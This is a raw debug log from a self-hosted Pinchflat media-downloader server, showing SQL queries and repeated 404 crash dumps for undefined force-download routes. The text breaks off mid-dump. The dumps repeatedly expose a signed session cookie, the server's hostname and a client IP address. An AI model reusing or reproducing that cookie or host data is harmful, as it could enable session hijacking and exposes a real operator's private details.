SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 18:56:13.951 [debug] QUERY OK source="source_metadata" db=0.1ms idle=65.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 18:56:13.951 [debug] QUERY OK source="media_metadata" db=0.1ms idle=64.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [482073] 18:56:13.953 [info] Sent 200 in 46ms 18:56:13.972 [info] GET /sources/new 18:56:13.972 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 18:56:13.972 [info] GET /sources/2/media/472253/force_download 18:56:13.973 [debug] QUERY OK source="sources" db=0.2ms idle=81.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.973 [debug] QUERY OK source="settings" db=0.2ms idle=65.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.973 [debug] QUERY OK source="settings" db=0.2ms idle=22.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.973 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:13.973 [debug] QUERY OK source="media_profiles" db=0.4ms idle=59.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:56:13.974 [debug] QUERY OK source="settings" db=0.1ms idle=22.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.974 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.974 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.975 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.974 [error] #PID<0.163685.0> running PinchflatWeb.Endpoint (connection #PID<0.163683.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/472253/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33300}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163685.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/media/472253/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guM1vZaK_U0oAFrdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33300}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33300}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163685.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], (truncated) 18:56:13.976 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.977 [info] Sent 200 in 5ms 18:56:13.999 [info] GET /sources/2/force_download_pending 18:56:13.999 [debug] QUERY OK source="settings" db=0.3ms idle=25.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.000 [debug] QUERY OK source="settings" db=0.1ms idle=25.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.000 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.000 [error] #PID<0.163687.0> running PinchflatWeb.Endpoint (connection #PID<0.163686.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33308}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163687.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guM7_gaLNQXoAC6KC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33308}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33308}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163687.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, priv (truncated) 18:56:14.091 [info] GET /sources/2/force_redownload 18:56:14.092 [debug] QUERY OK source="settings" db=0.3ms idle=117.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.092 [debug] QUERY OK source="settings" db=0.2ms idle=117.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.093 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.093 [error] #PID<0.163689.0> running PinchflatWeb.Endpoint (connection #PID<0.163688.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163688.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33322}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163689.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guNSHNIcVGicAC6Ki"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163688.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33322}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163688.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33322}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: 